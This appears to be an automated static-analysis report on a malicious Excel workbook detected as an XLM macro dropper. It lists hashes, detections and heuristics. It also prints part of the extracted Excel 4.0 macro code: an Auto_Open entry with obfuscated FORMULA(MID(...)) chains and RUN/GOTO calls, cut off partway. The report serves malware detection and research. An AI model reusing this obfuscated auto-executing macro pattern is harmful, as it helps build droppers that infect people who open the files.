Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 345e2ffd55aec6cb…

MALICIOUS

Office (OLE)

151.5 KB Created: 2020-05-21 14:09:07 Authoring application: Microsoft Excel First seen: 2020-08-25
MD5: e5a8ab2d767f1f42ac4a37e13eeffbb6 SHA-1: 15f3ca46b24c6983190ca05d89c0f266f6107091 SHA-256: 345e2ffd55aec6cb4df83f6bf103b30e90df00341c6f99888312b609a9ccbefe
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a known technique for executing malicious code. The macros utilize dangerous functions such as RUN, indicating an attempt to execute arbitrary code. ClamAV also identified this file as 'Xls.Dropper.Agent-8817875-0', further confirming its malicious nature as a dropper.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-8817875-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-8817875-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 39066 bytes
SHA-256: 5bc53cb5a6cf78cba99c89bdcfc651f987419ca331bd5690e303df76be8d51df
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pWdCiyUv2XWfIDuQYGxydOBiZs27S
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!GQ39334 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  pWdCiyUv2XWfIDuQYGxydOBiZs27S,FS3904,"FORMULA(MID(J5955,12,1)&MID(J5955,18,1)&MID(J5955,16,1)&MID(JC22402,8,1)&MID(JC22402,8,1)&MID(CZ5563,9,1)&MID(CZ5563,3,1)&MID(FU24969,11,1)&MID(FU24969,8,1)&MID(FU24969,2,1)&MID(FU24969,3,1)&MID(FU24969,5,1)&MID(FU24969,4,1)&MID(CZ5563,3,1)&MID(CZ5563,13,1)&MID(CZ5563,3,1)&MID(JC22402,17,1)&MID(JC22402,14,1)&MID(JC22402,8,1)&MID(J5955,19,1)&MID(FU24969,5,1)&MID(FU24969,13,1)&MID(FU24969,4,1)&MID(FU24969,2,1)&MID(FU24969,5,1)&MID(BU56846,10,1)&MID(BU56846,13,1)&MID(JC22402,16,1)&MID(FU24969,5,1)&MID(JC22402,2,1)&MID(BU56846,18,1)&MID(FU24969,2,1)&MID(BU56846,14,1)&MID(J5955,16,1)&MID(CZ5563,3,1)&MID(CZ5563,13,1)&MID(CZ5563,3,1)&MID(JC22402,6,1)&MID(JC22402,6,1)&MID(J5955,18,1)&MID(J5955,18,1)&MID(JC22402,6,1)&MID(JC22402,6,1)&MID(CZ5563,3,1)&MID(CZ5563,13,1)&MID(CZ5563,17,1)&MID(CZ5563,13,1)&MID(JC22402,14,1)&MID(BU56846,4,1)&MID(CZ5563,14,1)&MID(CZ5563,18,1)&MID(J5955,2,1)&MID(CZ5563,17,1)&MID(J5955,7,1)&MID(J5955,3,1)&MID(BU56846,6,1)&MID(J5955,18,1)&MID(BU56846,4,1)&MID(CZ5563,14,1)&MID(CZ5563,18,1)&MID(J5955,2,1)&MID(CZ5563,18,1)&MID(BU56846,6,1)&MID(CZ5563,13,1)&MID(JC22402,14,1)&MID(BU56846,4,1)&MID(J5955,1,1)&MID(CZ5563,18,1)&MID(J5955,6,1)&MID(J5955,3,1)&MID(CZ5563,18,1)&MID(BU56846,6,1)&MID(J5955,18,1)&MID(BU56846,4,1)&MID(CZ5563,14,1)&MID(CZ5563,18,1)&MID(J5955,2,1)&MID(J5955,2,1)&MID(BU56846,6,1)&MID(CZ5563,13,1)&MID(CZ5563,17,1)&MID(CZ5563,13,1)&MID(CZ5563,17,1)&MID(CZ5563,10,1),IA39227)",""
'  pWdCiyUv2XWfIDuQYGxydOBiZs27S,FS3905,GOTO(X61685),""
'  pWdCiyUv2XWfIDuQYGxydOBiZs27S,EC4316,"FORMULA(MID(CQ16257,12,1)&MID(FO62692,5,1)&MID(FO62692,2,1)&MID(R55649,9,1)&MID(FO62692,5,1)&MID(FO62692,15,1)&MID(FO62692,10,1)&MID(FO62692,17,1)&MID(FO62692,9,1)&MID(CQ16257,17,1)&MID(FO62692,1,1)&MID(FO62692,14,1)&MID(R55649,9,1)&MID(FO62692,15,1)&MID(FO62692,1,1)&MID(CQ16257,16,1)&MID(FO62692,14,1)&MID(CQ16257,18,1)&MID(FO62692,4,1)&MID(R55649,9,1)&MID(R55649,3,1)&MID(R55649,17,1)&MID(R55649,17,1)&MID(R55649,17,1)&MID(R55649,18,1)&MID(R55649,3,1)&MID(R55649,13,1)&MID(FO62692,14,1)&MID(JT54098,4,1)&MID(CQ16257,2,1)&MID(CQ16257,6,1)&MID(CQ16257,5,1)&MID(CQ16257,7,1)&MID(R55649,18,1)&MID(JT54098,6,1)&MID(CQ16257,18,1)&MID(JT54098,4,1)&MID(CQ16257,8,1)&MID(CQ16257,2,1)&MID(JT54098,6,1)&MID(R55649,10,1)&MID(R55649,10,1)&MID(R55649,13,1)&MID(FO62692,3,1)&MID(FO62692,11,1)&MID(FO62692,16,1)&MID(FO62692,11,1)&MID(R55649,9,1)&MID(FO62692,14,1)&MID(JT54098,4,1)&MID(R55649,18,1)&MID(CQ16257,2,1)&MID(CQ16257,2,1)&MID(CQ16257,3,1)&MID(CQ16257,2,1)&MID(JT54098,6,1)&MID(CQ16257,18,1)&MID(JT54098,4,1)&MID(R55649,14,1)&MID(CQ16257,5,1)&MID(R55649,18,1)&MID(JT54098,6,1)&MID(R55649,10,1)&MID(R55649,13,1)&MID(R55649,10,1),EC4317)",""
'  pWdCiyUv2XWfIDuQYGxydOBiZs27S,EC4318,RUN(CV22499),""
'  pWdCiyUv2XWfIDuQYGxydOBiZs27S,DF4591,"FORMULA(MID(CQ16257,12,1)&MID(R55649,3,1)&MID(FO62692,1,1)&MID(JT54098,1,1)&MID(FO62692,12,1)&MID(FO62692,11,1)&MID(FO62692,14,1)&MID(FO62692,16,1)&MID(R55649,1,1)&MID(FO62692,4,1)&MID(FO62692,7,1)&MID(CQ16257,18,1)&MID(FO62692,17,1)&MID(JT54098,5,1)&MID(FO62692,15,1)&MID(EX38898,5,1)&MID(JT54098,15,1)&MID(EX38898,10,1)&MID(EX38898,13,1)&MID(JT54098,10,1)&MID(EX38898,8,1)&MID(JT54098,14,1)&MID(JT54098,5,1)&MID(FO62692,9,1)&MID(JT54098,18,1)&MID(JT54098,12,1)&MID(EX38898,8,1)&MID(EX38898,5,1)&MID(EX38898,9,1)&MID(EX38898,5,1)&MID(JT54098,15,1)&MID(EX38898,10,1)&MID(JT54098,5,1)&MID(FO62692,11,1)&MID(JT54098,15,1)&MID(JT54098,15,1)&MID(JT54098,18,1)&MID(JT54098,12,1)&MID(JT54098,14,1)&MID(JT54098,5,1)&MID(R55649,3,1),V46195)",""
'  pWdCiyUv2XWfIDuQYGxydOBiZs27S,DF4592,GOTO(GQ5
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.